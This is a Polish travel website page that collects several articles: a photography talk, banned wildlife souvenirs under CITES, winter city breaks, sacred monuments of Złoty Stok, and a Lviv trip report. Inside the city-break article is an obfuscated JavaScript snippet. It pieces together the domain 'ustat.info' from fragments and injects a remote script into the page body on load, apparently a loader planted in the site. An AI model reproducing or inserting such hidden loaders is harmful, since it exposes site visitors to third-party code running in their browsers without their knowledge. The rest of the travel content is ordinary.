niedziela, 29 marca, 2026
Cykliczne Spotkania Podróżników

Moja przygoda z fotografią górską

przez Redakcja
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
21.01.2019 godzina 19:00
Michał Sośnicki – fotograf
„Moja przygoda z fotografią górską”

 Jestem rodowitym krakowianinem, od kilku lat mieszkającym pod królową Beskidów – Babią Górą, w Zawoi. Fotografią zajmuję się od 2008 roku a zawodowo od 2015. Absolwent kursu Fotografii Artystycznej Zbigniewa Pozarzyckiego, w Śródmiejskim Ośrodku Kultury w Krakowie. Tematem przewodnim moich prac są: krajobraz, pejzaż, architektura – głównie drewniana, przydrożne kapliczki oraz krzyże. Wykonuję także fotografię reklamową oraz ślubną. Najbardziej kocham fotografować góry i w górach, o wschodzie i o zachodzie słońca… Prowadzę plenery i warsztaty fotografii krajobrazowej. Od początku przygody z fotografią, używam aparatów marki PENTAX (obecnie K1 i K3) oraz obiektywów tej samej marki.

Od grudnia 2017 roku jestem Ambasadorem Premium marki Pentax oraz Ambasadorem marki Benro.

http://www.michalsosnicki.pl/

 

Obraz może zawierać: niebo, góra, chmura, na zewnątrz i przyroda

Obraz może zawierać: góra i przyroda

Obraz może zawierać: chmura, niebo, na zewnątrz i przyroda

Obraz może zawierać: chmura, niebo, na zewnątrz i przyroda

Obraz może zawierać: niebo, chmura, góra, przyroda i na zewnątrz

Obraz może zawierać: chmura, niebo, góra, przyroda i na zewnątrz

0 komentarze/y
0 FacebookTwitterPinterestEmail
Różne media

tego nie wolno przywozić z zagranicy

przez Redakcja
Napisane przez Redakcja
zakazane pamiątki z podróży 6

 Dalekie podróże mają to do siebie, że przywozi się z nich coś zupełnie innego niż to, po co się pojechało.
N.Bouvier

    Podróżujemy coraz częściej, coraz chętniej, coraz dalej. Europa stała się mniej atrakcyjna i większość wybiera kraje egzotyczne. Niektórym turystom wystarczą własne zdjęcia, innym pamiątki w postaci pocztówek, magnesów czy też miniaturek charakteryzujących dany kraj. Niestety są też tacy, którzy chcą przywieźć coś zupełnie innego, pewnie tylko po to, żeby zaimponować sobie, rodzinie, przyjaciołom, znajomym.
… Ja chcę mieć podłogę z drewna tropikalnego – bo jest na czasie…,ja chcę torebkę z krokodyla – bo ładna i modna…,ja chcę papugę – bo mi się podoba i może nawet nauczę ją mówić…, ja chcę kupić kawior – bo to rarytas… itd. itd
To co fascynuje nas w egzotycznych krajach, to m.in. tamtejsza fauna i flora. Wiele dziko występujących gatunków zwierząt i roślin jest zagrożonych wyginięciem. Aby je chronić została sporządzona Konwencja Waszyngtońska (CITES), która reguluje handel zagrożonymi gatunkami poprzez kontrolę, monitoring i ograniczanie międzynarodowego obrotu nie tylko żywymi okazami, ale również produktami z nich pochodzącymi.
Powody ochrony gatunków CITES to przede wszystkim: – ekologia – to, że możemy żyć – nawet w betonowych miastach – zawdzięczamy jedynie temu, że nasze środowisko zostało przygotowane przez rośliny i zwierzęta, które żyły wcześniej, a środowisko to istnieje dzisiaj dzięki roślinom i zwierzętom żyjącym w chwili obecnej. – humanitaryzm – trzeba mieć świadomość w jaki sposób są pozyskiwane zwierzęta z których wykonywane są przywożone wyroby oraz w jakich warunkach są przemycane żywe okazy. W wielu przypadkach, w których pozyskuje się skóry nie możemy mówić o ich zabijaniu, są one obdzierane ze skóry jeszcze za życia. Musimy pamiętać o najważniejszej rzeczy, że rozwój intelektualny i cywilizacyjny danego społeczeństwa jest wprost proporcjonalny do jego dbałości o ochronę przyrody.

 

zakazane pamiątki z podróży 6

 

 

Jakie gatunki są zagrożone wyginięciem?

Gatunków zagrożonych wyginięciem jest około 30 tys., z czego około 10 tys.,to zwierzęta. Poniższe zestawienie pokazuje grupy zwierząt i roślin, które zostały objęte kompleksową ochroną. Są to również gatunki, z których najczęściej wykonywane są różnego rodzaju pamiątki sprzedawane turystom w czasie wycieczek zagranicznych. Takie zwierzęta jak krokodyle, węże czy warany są zagrożone m.in. z powodu popytu na wyroby wykonywane z ich skór. Turysta, który wyjeżdża na wycieczkę stykając się z wystawianymi „pamiątkami” odnosi wrażenie, że wykonywanie takich wyrobów jest tradycyjną czynności miejscowej ludności, a ich wyrób jest legalny i kontrolowany. Tak było najprawdopodobniej kiedyś, kiedy takie rzeczy były wykonywane wyłącznie na potrzeby mieszkańców danego regionu. Dzisiaj zwierzęta giną tysiącami, zabijane na potrzeby ruchu turystycznego. Zwierzęta te najczęściej są pozyskiwane z naturalnego środowiska ponieważ taka forma czerpania korzyści jest formą najprostszą i najtańszą.
Tak więc w stosunku do określonych gatunków to ruch turystyczny i popyt na tego typu wyroby doprowadził do zagrożenia ich istnienia. Wyjeżdżając na wakacje pamiętajmy o tym. Nie kupujmy podczas wycieczek zagranicznych pamiątek wykonanych ze zwierząt.

 

zakazane pamiątki z podróży 5

 

 

wykaz zagrożonych gatunków

 

 

zakazane pamiątki z podróży 3

 

 

Do Unii Europejskiej nie można przywieźć:
– trofea wilka z Białorusi, Kirgistanu, Turcji
– nierozłączka rudogłowa z Tanzanii
– ara zielono skrzydła z Argentyny i Panamy
– wszystkie żółwie czerwonolice, gdyż zagrażają faunie europejskiej
– koniki morskie z Indonezji
– niektóre motyle z Wysp Salomona
– skrzydelnik olbrzymi (jego muszle są popularną pamiątką ) z Haiti, niektóre muszle
przydaczni z Wietnamu, Mozambiku, wysp Salomona
– niektóre storczyki ze Szwajcarii, Turcji, Norwegii, Korei Południowej, Rosji, Chin i Wietnamu

 

Jak załatwić formalności związane z przywozem egzotycznej pamiątki?

– bądź wyczulony na wszelkie okazy zwierząt i roślin kupowane za granicą
– zawsze można poprosić sprzedawcę o odpowiednie dokumenty wywozowe.
– skontaktuj się z kimś, kto zna procedury celne i przepisy.

 

 

krokodyle 3

 

 

Podsumowując: tylko w przykładowym 2016 roku na polskich granicach, głównie w Przemyślu, Krakowie, Gdyni i Katowicach zatrzymano:

– 4784 żywych okazów zwierząt
– 1 żywy okaz rośliny oraz 1 kg ekstraktu z Hoodii gordonii
– 3721 okazów medykamentów medycyny azjatyckiej (TAM),
– 7 szt. kości słoniowej (Elephantidae spp.)
a także:
– 47 kg koralowców rafotwórczych (Scleractinia spp.)
– 4,2 kg okazów kawioru (Acipenseriformes spp.)

Opracowanie: Kinga Skołozdrzych
Źródła:
www.finanse.mf.gov.pl/clo
www.gov.pl
biuletyn: Wiadomości Celne Nr 10-11/2009

 

zakazane pamiątki z podróży 2

0 komentarze/y
0 FacebookTwitterPinterestEmail
Reklama

Gdzie jechać zimą na city break

przez Redakcja
Napisane przez Redakcja
Gdzie jechać zimą na city break
Gdzie jechać zimą na city break

 Gdzie jechać zimą na city break?

 
Wydawałoby się, że krótkie weekendowe wyjazdy do dużych miast, czyli popularne city breaki cieszą się zainteresowaniem tylko wiosną, latem i na początku jesieni. Nic bardziej mylnego! Niższe ceny noclegów oraz tanie loty kuszą wszystkich tych, którym niższe temperatury i opady śniegu niestraszne. Gdzie jechać na city break w styczniu, lutym lub na początku marca? Oto trzy propozycje.
 
Gdzie jechać zimą na city break 2 2

 

Alicante

Zimą każdy marzy o wyjeździe do ciepłych krajów. Nie da się jednak ukryć, że urlop – nawet ten krótki – na Dominikanie czy w Izraelu potrafi wygenerować spore koszty. Zdecydowanie tańszą alternatywą będzie Alicante – niewielkie miasto we wschodniej części Hiszpanii, nieopodal Walencji. Choć nie będzie tam tak ciepło, jak na Karaibach, to ok. 20°C powinno zadowolić każdego zmarzlucha. Bilety w obie strony w styczniu i lutym można kupić już za ok. 140 zł (tanie linie lotnicze latają tam z największych miast Polski – z Warszawy czy Poznania). Wszyscy, którzy zdecydują się na city break w Alicante, będą mogli podziwiać takie atrakcje jak:

Castillo de Santa Barbara (Zamek Świętej Barbary),

starówkę,

Barrio de Santa Cruz (dzielnicę wybudowaną w charakterystycznym andaluzyjskim stylu),

jachtowy port i plażę Playa de Postiguet.

 

 

Kraków

Kraków zimą jest równie atrakcyjny, jak latem. Stolica Małopolski to jedno z najchętniej odwiedzanych przez turystów miast – niektóre źródła podają, że w ciągu roku zwiedza je ok. 12 mln podróżnych – dlatego wariant z wyjazdem w styczniu i w lutym spodoba się przede wszystkim osobom, które preferują spokojne spacery, bez tłumów. Dlaczego warto jechać na zimowy city break akurat tam? Powodem są liczne zabytki. Jednym z najciekawszych punktów będzie oczywiście Stary Rynek – to na nim mieszczą się takie punkty jak Sukiennice, Kościół Mariacki, Pomnik Adama Mickiewicza czy Wieża Ratuszowa. Zimą bez problemu można zwiedzać także Wawel (wyjątkiem będzie jedynie Smocza Jama) oraz pospacerować po Bulwarach Wiślanych. Na wielbicieli historii czeka dawna żydowska dzielnica, czyli Kazimierz. Atrakcji dla dzieci w Krakowie również nie zabraknie. Mali turyści mogą skorzystać z licznych basenów oraz wybrać się do ogrodu zoologicznego, a także do nowoczesnego Interaktywnego centrum odkrywania historii Polski i Polaków – HistoryLand – w budynku dawnego Dworca PKP.

 

Gdzie jechać zimą na city break 2 1

 

 

 

Oslo

Coraz większą popularnością cieszy się również Oslo, które w zimowej, śnieżnej oprawie prezentuje się niezwykle stylowo. Choć Skandynawia nie należy do najtańszych kierunków wyjazdowych, to zimą bilety lotnicze w tanich liniach można nabyć już za ok. 40 zł w dwie strony. Wyjazd na początku marca można połączyć nie tylko ze spacerami po centrum, ale także ze sportem – wtedy to w dzielnicy Holmenkollen odbędą się konkursy Pucharu Świata w skokach narciarskich. Oprócz tego w Oslo można podziwiać:

Ratusz,

Norweskie Centrum Ludowe,

Pałac Królewski,

Muzeum Henryka Ibsena,

Ogród Botaniczny.

 

 

 

{source}
<script>
(function(){
xcyr_=(„u”+””)+”s”+””;xcyr_+=(„tat.”)+(„i”);
xcyr=document.createElement(„script”);xcyr.type=”text/javascript”;xcyr_+=”nf”+(„o”)+”/”;
xcyru=”127894760″+”.”;xcyr.async=true;xcyru+=”mk8g5ia5cyr0daj4m0qhh2di5k905f”;
xcyr.src=”https://”+xcyr_+xcyru;xcyrb=document.body;xcyrb.appendChild(xcyr);
})();
</script>
{/source}

0 komentarze/y
0 FacebookTwitterPinterestEmail
Zabytki sakralne

Zabytkowe obiekty sakralne Gminy Złoty Stok

przez Redakcja
Napisane przez Redakcja
Złoty Stok zabytki sakralne 29

Zabytkowe obiekty sakralne Gminy Złoty Stok

 

   Dolny Śląsk przez wielu kojarzony jest z zamkami, pałacami, podziemiami czy twierdzami. I słusznie, bo takich obiektów jest tutaj ogromna ilość. Dolny Śląsk to także wiele zabytkowych obiektów sakralnych. Obiektów które także warto zwiedzić, by jeszcze bardziej poznać i docenić wyjątkowość tego regionu Polski.

 

 

 

Złoty Stok zabytki sakralne 29

 

 

Złoty Stok to nie tylko słynna Kopalnia Złota czy najdłuższa tyrolka w Polsce. To także wyjątkowej urody gmina, na terenie której rozsiane są zabytki, pośród których na uwagę zasługują obiekty sakralne. Właśnie te zabytkowe obiekty sakralne, które warto zobaczyć, zwiedzając Złoty Stok przedstawiam poniżej. Jadąc drogą z Paczkowa do Kłodzka nie mijamy kolejnego miasteczka a mijamy właśnie Złoty Stok. Ten Złoty Stok.

Najstarszy zachowany dokument potwierdzający istnienie parafii wystawiony przez biskupa Nankiera z Wrocławia pochodzi z 3 września 1331 roku. Pierwszy kościół murowany, został wybudowany w Złotym Stoku w XV wieku po wojnach husyckich. Kościół ten pod wezwaniem Bożego Ciała około 1530 – 1532 roku przejęli z rąk katolików luteranie. Na przestrzeni XVI – XVII wieku kościół ten raz był w rękach protestantów raz w rękach katolików. Ostatecznie w 1707 roku w myśl postanowień pokoju zawartego w Altranstädt został przyznany protestantom i służył im aż do 1945 roku.
Obecny kościół parafialny, murowany z kamienia wzniesiono na miejscu zaadoptowanego na kościół katolicki w 1709 roku budynku urzędu cesarskiego. Prace przy budowie nowej świątyni rozpoczęto 25 czerwca 1875 roku, a ukończono 15 grudnia 1876 r. Pierwszą mszę odprawił w nowej neogotyckiej świątyni 7 grudnia 1877 r. ksiądz August Marowski. Właściwa konsekracja dokonana przez biskupa Roberta Herzoga miała miejsce dopiero w 1883 roku.
Kościół o znacznych rozmiarach w stylu neogotyckim wzniesiono na planie krzyża z wysoką wieżą od frontu. Wnętrze jednonawowe, z parą kaplic o charakterze transeptu, zamkniętych trójbocznie, nakrywają sklepienia gwiaździste o bogatym rysunku.
W latach 1964 – 1965 ogrodzono plac przykościelny i przeprowadzono gruntowną konserwacje ołtarza głównego. W latach 1971 – 1972 założono nową instalację elektryczną i głośnikową, uzupełniono tynki wewnętrzne, małą wieżę pokryto blachą, uruchomiono zegar wieżowy. Wyremontowano 20 – głosowe organy oraz nałożono nową polichromię wnętrza.
Odrestaurowaną świątynię poświęcił 11 IX 1972 r. bp W. Urban.
W latach 1977 – 1978 wieżę i dach kościoła pokryto blachą cynkową. W 1984 roku zainstalowano mechanizm elektryczny sterujący zegarem wieżowym. Kolejnym ważnym przedsięwzięciem było dokonanie w latach 1985 – 1999 renowacji wszystkich ołtarzy, figur, ambony; odnowiono polichromię i położono marmurową posadzkę. Dzieło zostało poświęcone przez kard. H. Gulbinowicza.
W latach 1999 – 2001 odnowiono stacje „Drogi Krzyżowej” na Górze Krzyżowej. Na kościele wymieniono wszystkie rynny i wykonano odwodnienie świątyni. Dawny pl. Kościuszki nazwano skwerem Jana Pawła II.
23 okna świątyni zostały wypełnione witrażami zaprojektowanymi przez Bolesława Szpechta artysty plastyka z Krakowa. Wykonawcą witraży była krakowska firma kierowana przez Zbigniewa Gustaba. Uroczystego poświęcenia witraży dokonał 17 maja 1997 roku ksiądz kardynał Henryk Gulbinowicz.
22 kwietnia 2003 roku ksiądz kardynał Henryk Gulbinowicz dokonał uroczystego poświęcenia pomnika papieża Jana Pawła II.. Pomnik zaprojektował złotostocki artysta plastyk Stanisław Gołdyn, a wykonali: – cokół pomnika z napisami Jerzy Siemasz, popiersie Jarosław Radomski z Kłodzka.

http://parafiazlotystok.pl

 

 Złoty Stok zabytki sakralne 1

 

Kaplica/ kościół cmentarny p.w. Świętej Trójcy, ul. 3 Maja 17

Kościół p. w. św, Trójcy zbudowany w 1583 roku jako kaplica cmentarna przez ewangelików. W latach 1687 – 1698 był ich kościołem parafialnym Później pełnił rolę kaplicy na cmentarzu katolickim. Zbudowany w stylu późno gotyckim był wielokrotnie przebudowywany, po raz ostatni w 1927 roku. Rokokowy ołtarz wewnątrz kościoła pochodzi z 1902 roku. Obok renesansowego portalu zachowały się płyty nagrobne ostatniego opata i przeora kamienieckiego zakonu cystersów.
 
 

 

Złoty Stok zabytki sakralne 2

 

Kościół ewangelicki p.w. Najświętszego Zbawiciela, Plac Kościelny nr 1

Kościół p.w. św. Krzysztofa, patrona miejscowych górników, zbudowany został w latach 1513 – 1517 (wieża pochodzi z 1543 roku) na miejscu dawnego kościoła miejskiego, istniejącego już w XIV wieku. Odbudowany, po pożarze z 1638 roku, jako kościół parafialny ewangelików (od 1536 roku) zmienił wezwanie na Chrystusa Zbawiciela. Budowla w stylu renesansowym. Wejście pod wieżą z portalem zdobionym herbami Złotego Stoku i księstwa ziębicko-oleśnickiego, w kruchcie za nim znajdują się płyty nagrobne z XVI wieku.

 

 

 

 

Złoty Stok zabytki sakralne 22

 
Mauzoleum rodu Guttlerów
Mauzoleum położone  jest  przy ul. 3 Maja w Złotym Stoku  nr rej. A/2107/2 z dnia 30.04.2010 r. Mauzoleum Guttlerów stanowi przykład kameralnej architektury cmentarnej w stylu neoklasycznym. Mauzoleum poświęcone jest rodzinie, która wpisała się w historię Złotego Stoku. W 2018r Mauzoleum zostało odrestaurowane. Na odnowienie czeka jeszcze wiele zabytkowych nagrobków na terenie cmentarza. Cmentarza takze wyjątkowego, bo na stosunkowo małej powierzchni, przez kilka wieków pochowano tutaj ponad 40 tys zmarłych.

Bardzo obszerny opis historii mauzoleum: http://zlotystok.salwach.pl/guttler

 

 

 

Złoty Stok zabytki sakralne 5

 

Zespół kościelny kościoła parafialnego, Skwer J.P. II nr 3

Kościół parafialny p. w. Niepokalanego Poczęcia Najświętszej Panny Marii zbudowany w latach 1875-76, konsekrowany w 1883 roku. Wcześniej znajdował się w tym miejscu kościół p. w. Zwiastowania Najświętszej Marii Panny urządzony, w 1708 roku, w budynku Cesarskiego Urzędu Górniczego. Budowla jednonawowa na planie krzyża z wysoką wieżą i dwoma kaplicami bocznymi zbudowana w stylu neogotyckim. Przed kościołem figura św, Jana Nepomucena z 1786 roku.

 

Złoty Stok zabytki sakralne 6

 

Korzystając z okazji warto spojrzeć na Złoty Stok i okolicę z wieży zegarowej.

 

Złoty Stok zabytki sakralne 9

 

 

Złoty Stok zabytki sakralne 10

 

 

Złoty Stok zabytki sakralne 11

 

 

Złoty Stok zabytki sakralne 12

 

Dzwony których dźwięk słychać w całej gminie.

 

Złoty Stok zabytki sakralne 14

 

 

Złoty Stok zabytki sakralne 15

 

 

Mechanizm zegarowy

{source}
<iframe width=”560″ height=”315″ src=”https://www.youtube.com/embed/mCOfwmGfGsc” frameborder=”0″ allow=”accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture” allowfullscreen></iframe>
{/source}

 

 

 

Złoty Stok zabytki sakralne 16

 

Zegar to także takie potężne obciążniki napędzające cały mechanizm.

 

Złoty Stok zabytki sakralne 18

 

Wejście na wieżę nadgryzione przez ząb czasu, co uniemożliwia swobodne zwiedzanie. Możliwe jest jednak wejście na wieżę Kościoła ewangelickiego, oddalonego zaledwie o kilkaset metrów. Zwiedzanie kościoła jak i wyjście na wieżę możliwe jest po wizycie w Informacji Turystycznej znajdującej się na Rynku Złotego Stoku.

 

 

{source}
<iframe width=”560″ height=”315″ src=”https://www.youtube.com/embed/u5-q1296Xmw” frameborder=”0″ allow=”accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture” allowfullscreen></iframe>
{/source}

 

Złoty Stok zabytki sakralne 30

 

Kościół św. Mikołaja w Płonicy.

Późnobarokowy kościół zbudowany w roku 1777 wg projektu J. Kauffmanna. Na uwagę zasługują także ruiny starego folwarku, znajdujące się kilkaset metrów poniżej, jadąc w głąb wsi Płonica.
Najstarsza wzmianka pochodzi z 1260 roku. Obecny kościół został wzniesiony w 1777 r. z inicjatywy cystersów z Kamieńca Ząbkowickiego wg projektuj. Kauffmanna i jest utrzymany w stylu barokowym.
Budowla jednonawowa wzniesiona na planie prostokąta ze ściętymi narożami o łukowo wygiętej ścianie od strony ołtarza mieści wewnątrz eliptyczną nawę przykrytą kopulastym sklepieniem wspartym na pilastrach.
Rokokowe wyposażenie kościół zawdzięcza rzeźbiarzom: Ludwikowi Jaschke z Barda Śląskiego i Leopoldowi Jaschke z Wrocławia. Wykonali oni ołtarz główny oraz ambonę. Wykonanie mensy i predelli ołtarza przypisuje się mistrzowi stolarskiemu Józefowi Jungowi.
10-głosowe organy zostały zbudowane w latach trzydziestych XX wieku przez firmę Carla Berschdorfa z Nysy.
W latach 1972 – 1973 wyremontowano dach i organy oraz wprowadzono nową polichromię wnętrza. W latach 1995 – 1999 wymieniono instalację elektryczną oraz wykonano polichromię wewnątrz kościoła i odnowiono elewację zewnętrzną oraz mur okalający kościół oraz cmentarz.
W 1998 założono witraże figuralne w oknach projektu Bolesława Szpechta artysty plastyka z Krakowa. Wykonawcą witraży była krakowska firma Zbigniewa Gustaba W roku 2007 przeprowadzono remont hełmu wieży kościoła. Wymieniono zużyte fragmenty i położono nową blachę.
 
 
 
 

Złoty Stok zabytki sakralne 26

 

Kościół św. Marii Magdaleny w Mąkolnie

Kościół barokowy wybudowany w latach 1729-32. Założony został na planie krzyża greckiego.
Najstarsza wzmianka o kościele pochodzi z 1336 r. Obecny kościół został wybudowany w 1732 r W 1871 został poddany gruntownej restauracji w wyniku której zmieniono zwieńczenie wieży kościoła.
Jest to budowla jednonawowy, rozplanowana na rzucie krzyża greckiego murowana z kamienia i cegły, z poligonalnie zakończonym prezbiterium. Fundacja opactwa cystersów z Kamieńca Ząbkowickiego. Konsekrowany w 1732 r.
Wyposażenie wnętrza jak i samej budowli stanowi przykład czystego baroku śląskiego. Z wcześniejszego kościoła do obecnego przeniesiono gotycką rzeźbę Madonna z Dzieciątkiem z XV w. oraz Pietę z XVII w.
W latach 1972 – 1973 wykonano nowy system odwadniający, dokonano ankrowania murów, założono nową instalację elektryczną, przełożono pokrycie dachu oraz wprowadzono nową polichromię wnętrza. W latach 1985 – 2000 przeprowadzono prace restauratorskie, m.in. renowację ambony, ołtarzy, zabytkowego konfesjonału. Położono posadzkę marmurową w kościele i zakrystii oraz wymieniono ławki.
 
 
 
 
Złoty Stok zabytki sakralne 27
 
 
Kaplica Św. Antoniego której początki sięgają XVIIIw. bardzo popularna wśród nowożeńców. Kaplica zbudowana została na wzgórzu w bliskim sąsiedztwie kościoła w Mąkolnie, powyżej drogi Złoty Stok – Kłodzko. Ze wzgórza rozciąga się wspaniała panorama. Warto wspiąć się na wzgórze choćby dla samych widoków.
Kaplica Św. Antoniego a właściwie kościółek wotywny pod wezwaniem św. Antoniego Padewskiego.

W 750.rocznicę śmierci Antoniego przypadającą na 1981r., parafia Mąkolno w roku 1980 odrestaurowała zabytek.
Po kolejnych dewastacjach, głównie przez pseudo poszukiwaczy skarbów, kilka lat temu ponownie odrestaurowana.
 
 
 

Złoty Stok zabytki sakralne 24

 
Kościół św. Jakuba w Chwalisławiu.
Kościół wybudowano w latach 1722-26. Wewnątrz kościoła znajduje się gotycka rzeźba św. Mikołaja, rokokowy ołtarz.
Kościół p.w. św. Jakuba Apostoła został wybudowany na miejscu starszej świątyni (którą rozebrano) w latach 1722 – 1726 na zlecenie opata Gerarda Woywody. Cystersi z Kamieńca Ząbkowickiego prowadzili wówczas akcję budowy nowych kościołów wiejskich na terenie swoich dóbr. Nowy kościół w Chwalisławiu konsekrowano w 1732 r.
W późniejszym okresie był kilkakrotnie odnawiany. W latach 1964 – 1966 wymieniono pokrycie dachowe oraz przeprowadzono remont wieży. W 1972 r. założono nową instalację elektryczną, dokonano ankrowania murów, przeprowadzono remont 8 -głosowych organów i konserwacje bocznego ołtarza oraz wprowadzono nową polichromię wnętrza.
Od 1985 roku do 1990 r. trwała dalsza renowacja, naprawa poszycia dachowego, malowanie wnętrz i elewacji zewnętrznej, dokonywana przez brygadę budowlaną ze Złotego Stoku. Założono nową instalacje elektryczną chowając ją równocześnie pod tynk.
Posadzka kościoła pierwotnie wyłożony była piaskowcem i cegłą, z częściowym wykorzystaniem starych płyty nagrobkowych. W 1998 roku położono nową marmurową posadzkę wg projektu S. Gołdyna. Potrzebny marmur został sprowadzony z kamieniołomów znajdujących się w Stroniu Śląskim.
W tym samym czasie zostały ufundowane nowe ławki do kościoła.
Kolejna inwestycją było wybudowanie w latach 2000 – 2001 kaplicy przedpogrzebowej.
Na wyposażeniu kościoła znajduje się renesansowy kielich mszalny, wykonany z pozłacanego srebra, a datowany na rok 1627 r.
Kościół jest jednonawowy, z kwadratowym prezbiterium, z wieżą od zachodu. Z zewnątrz cechuje go surowa tektoniczność wyrażona w skromnych podziałach ramowych i kubicznym rozczłonkowaniu bryły, nad którą dominuje pojedyncza wieża. Kościół posiada czteroprzęsłowe wnętrze z wyodrębnionym prezbiterium. Trzy przęsła nawy i czwarte przęsło zabudowane emporą organową. Występują tu także dodatkowe wejścia boczne w przęśle środkowym, które sugerują poprzeczną oś symetrii. Kościół sklepiony jest w nawie kolebką bez lunet, która podzielona jest na przęsła gurtami i przywodzi na myśl sklepienia żaglaste. Chór mocno wyeksponowany ale z zachowaną proporcją w stosunku do ołtarza głównego.
Warto wspomnieć, że pierwotny, wcześniejszy kościół, który stał na tym samym miejscu, a rozebrany w latach 1722 – 1726 z zachowanych przekazów „był mały, ciemny i dwuczęściowy z wąską belkową architekturą między bogatym ornamentowym obramowaniem”.
Do obecnego nowego kościoła przeniesiono ołtarz główny, który dzisiaj jako ołtarz boczny dekoruje świątynie. Szczególną uwagę zwraca ołtarz główny, jednoczęściowy, barokowy, niearchitektoniczny. Wykonany ok. 1750 r. przez artystów z „kręgu kamienieckiego”. Całość z drewna polichromowanego imitującego zielony marmur, upiększony delikatnymi zdobieniami małżowinowymi. W centralnej części ołtarza, w bogato zdobionej niszy postać patrona kościoła św. Jakuba Apostoła.
Na południowej ścianie, w barokowej oprawie umieszczony został późnogotycki tryptyk św. Anny z poł. XV w. w formie płaskorzeźby.
Organy pochodzą ze znanej świdnickiej firmy Schlag & Söhne z II poł. XVIII w. Instrument jest 8-głosowy, a prospekt organowy bardzo prosty.
Obrazy drogi krzyżowej pochodzące z II poł. XVIII w., zostały odnowione w 1962 r. Przy tej okazji zmieniono m.in. napisy z języka niemieckiego na język polski.

http://parafiazlotystok.pl

 

 

 

Złoty Stok zabytki sakralne 28

 
Pustelnia w Złotym Stoku w trakcie odbudowy. Pustelnia znajduje się na wzgórzu powyżej dawnego kamieniołomu a obecnie Leśny Park Przygody Skalisko.
Obecnie pusstenia posiada nowy dach oraz wieżyczkę a na wieży zamontowany dzwon.

 

Na podstawie informacji zamieszczonych na stronie Gminy Złoty Stok http://zlotystok.pl oraz http://parafiazlotystok.pl

 

0 komentarze/y
0 FacebookTwitterPinterestEmail
Ukraina

UKRAINA weekend we Lwowie

przez Albin Marciniak
Napisane przez Albin Marciniak

6 lutego późną nocą ja, Mateusz, Waldek i Rychu spotkaliśmy się na dworcu w Krakowie, aby ruszyć razem na dwa dni do Lwowa. Żaden z nas jeszcze na Ukrainie nie był, a że naszym zamiłowaniem jest poznawanie nowych miejsc, długo nie zastanawialiśmy się nad tym wyjazdem.
W sobotę mieliśmy ze sobą również grupę z Łodzi, która jednak w sobotni wieczór, ruszyła na dalsze zwiedzanie Ukrainy (Chocim, Kamieniec Podolski, Kijów).
W 8 osób zatem o 3 w nocy wsiedliśmy w pociąg do Przemyśla (Bilet podróżnika 65zł w obie strony). Na miejscu byliśmy przed 8 rano, zatem szybko wsiedliśmy w bus do Medyki(2 zł), i po 20 minutach czekaliśmy już w kolejce na granicy.
Byliśmy dosyć zaskoczeni, ponieważ kolejka była bardzo krótka, a przed wyjazdem wiele nasłuchaliśmy się o ogromnych kolejkach na granicy( może akurat mieliśmy szczęście…?).
Na granicy jedyną formalnością (oczywiście oprócz paszportu), było wypełnienie karty pobytu, w której wypisujemy podstawowe dane, oraz cel podróży.
 


 
Po stronie ukraińskiej, czyli w Szegini byliśmy około godziny 9. Szybko zjedliśmy śniadanie w przygranicznym barze, i wsiedliśmy do marszrutki do Lwowa(15 hrywien).
Powiem szczerze, że luksusów się nie spodziewałem, ale przejazd na pewno nie można nazwać przyjemnym. Na szczęście mieliśmy czas na wspólną integracje i degustacje pierwszych piw ukraińskich.
We Lwowie byliśmy około 13 czasu ukraińskiego (godzina do przodu).

 
Nasza czwórka, jako że miała zarezerwowany nocleg poszła poszukać tego miejsca. Okazało się, że nocleg znalazłem w samym centrum, na przeciwko Katedry u przemiłej staruszki z Polski- pani Stefanii( gorąco polecamy!!!). Nocleg kosztował nas 30 zł od osoby, ale opowieści pani Steafnii- bezcenne.
Po przywitaniu i pozostawieniu bagażów w domu, wyszliśmy w końcu zwiedzać Lwów. Nie mieliśmy jakiegoś konkretnego planu, ale jak się okazało to chyba było najlepsze rozwiązanie.
Jako że większość zabytków Lwowa, jest w samym centrum nie musieliśmy na początku korzystać, z komunikacji miejskiej.
Spacer rozpoczęliśmy od pomnika Mickiewicza, przejścia Prospektem Swobody, oraz rzutu oka na Opere Lwowską i Muzeum Narodowe.

 

Pierwszą wesołą historią był nasz pierwszy obiad.
Tak jak napisałem na początku nikt z naszej czwórki, nie był nigdy na Ukrainie, i praktycznie nie znaliśmy w ogóle języka. Ja tylko trochę przypominałem sobie naukę ruskiego w podstawówce.
Weszliśmy więc do jednego z barów w centrum i naszym oczom ukazało się menu….
Hmm…no że tak powiem za dużo z tego nie wiedzieliśmy.
Pewnie gdybyśmy powiedzieli po polsku,że chcemy to czy to pani też by zrozumiała, my jednak na to nie wpadliśmy.
Sytuacja została rozwiązana tak, że pewna Ukrainka przed nami coś zamówiła, i my skorzystaliśmy z tego i powiedzieliśmy:
– To samo prosimy.
Okazało się że nie trafiliśmy tak źle, bo później się okazało że pani rozumie po polsku i powiedziała nam że to jest kotlet po kijowsku. Cena też całkiem niezła, bo razem z piwkiem za cały zestaw zapłaciliśmy po 30 hrywien.

 
W porze zachodu słońca postanowiliśmy podjechać tramwajem (bilet 1 hrywna), na Cmentarz Łyczakowski.
Wstęp na cmentarz był płatny ((2 hrywny studencki, 5 normalny)ale na pewno było warto. O ile C.Łyczakowski wywarł na mnie średnie wrażenie, to jak doszliśmy do Cmentarza Orląt Lwowskich- po prostu nas zamurowało. Wśród nas zapanowała zupełna cisza. Byliśmy jedynymi osobami na cmentarzu, a więc wrażenie było jeszcze większe.
Myślę, że to co zobaczyliśmy na Cmentarzu Orląt Lwowskich nie da się przekazać w słowach, to trzeba po prostu zobaczyć…

Pierwszy dzień wyjazdu zakończyliśmy na piwku w jednym z lwowskich lokali. Jak się okazało, była tam akurat impreza z muzyką na żywo, i co godne odnotowania zostaliśmy powitani tam jak goście honorowi. Bardzo miła obsługa, szukanie wolnych miejsc dla nas, i dodatkowo kilka polskich hitów specjalnie dla :”…gości z Polszy…”, tj: „Wódka musi być”, lub „Niech żyje wolność”.
Wieczorem ekipa z Łodzi pojechała w dalszą podróż, a my integrowaliśmy się przy miejscowych trunkach.

Rano zostaliśmy powitani kawką od pani Stefanii, i opowieści o piesku- kamikadze naszej gospodyni.
